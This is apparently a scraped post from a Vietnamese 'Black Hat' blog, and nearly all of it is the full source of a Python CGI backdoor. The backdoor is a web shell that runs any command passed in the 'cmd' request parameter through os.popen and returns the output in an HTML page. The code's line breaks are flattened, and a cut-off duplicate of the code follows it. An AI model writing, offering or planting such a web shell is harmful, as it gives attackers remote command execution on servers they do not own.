Kiến thức Black Hat: CGI

CGI python backdoor

<div style="text-align: center;"><img alt="" class="attach" src="http://www.checkedby.com/@forum/attachment.php?attachmentid=101&stc=1&d=1330255342" />   </div><blockquote class="tr_bq">#!/usr/bin/env python # Info : Linux based CGI backdoor with python # author: otoy # date : 0x102010 import cgi,os,re,sys form = cgi.FieldStorage() cmd = form.getvalue('cmd', '') osexe = os.popen(cmd) dirt = os.getcwd()+'/' prognm = sys.argv[0].strip() progfl = re.findall(dirt+'(.*)',prognm)[0] osinf = os.uname() info='''==================================== CGI python backdoor ==================================== Author : otoy Date : 0x102010 Blog : <a href="http://otoyrood.wordpress.com" target="_blank">otoyrood.wordpress.com</a> ==================================== System : %s %s ==================================== ''' %(osinf[0], osinf[2]) print "Content-type: text/html" print print""" <html> <head> <title>CGI python backdoor</title> </head> <body> <pre>%s</pre> <form action='%s'> Command <input type='text' name='cmd' /> <input type='submit' /> </form> <pre>%s</pre> </body> </html> """ %(info,progfl,osexe.read()) </blockquote>

CGI python backdoor

#!/usr/bin/env python # Info : Linux based CGI backdoor with python # author: otoy # date : 0x102010 import cgi,os,re,sys form = ...

CGI python backdoor

Post Labels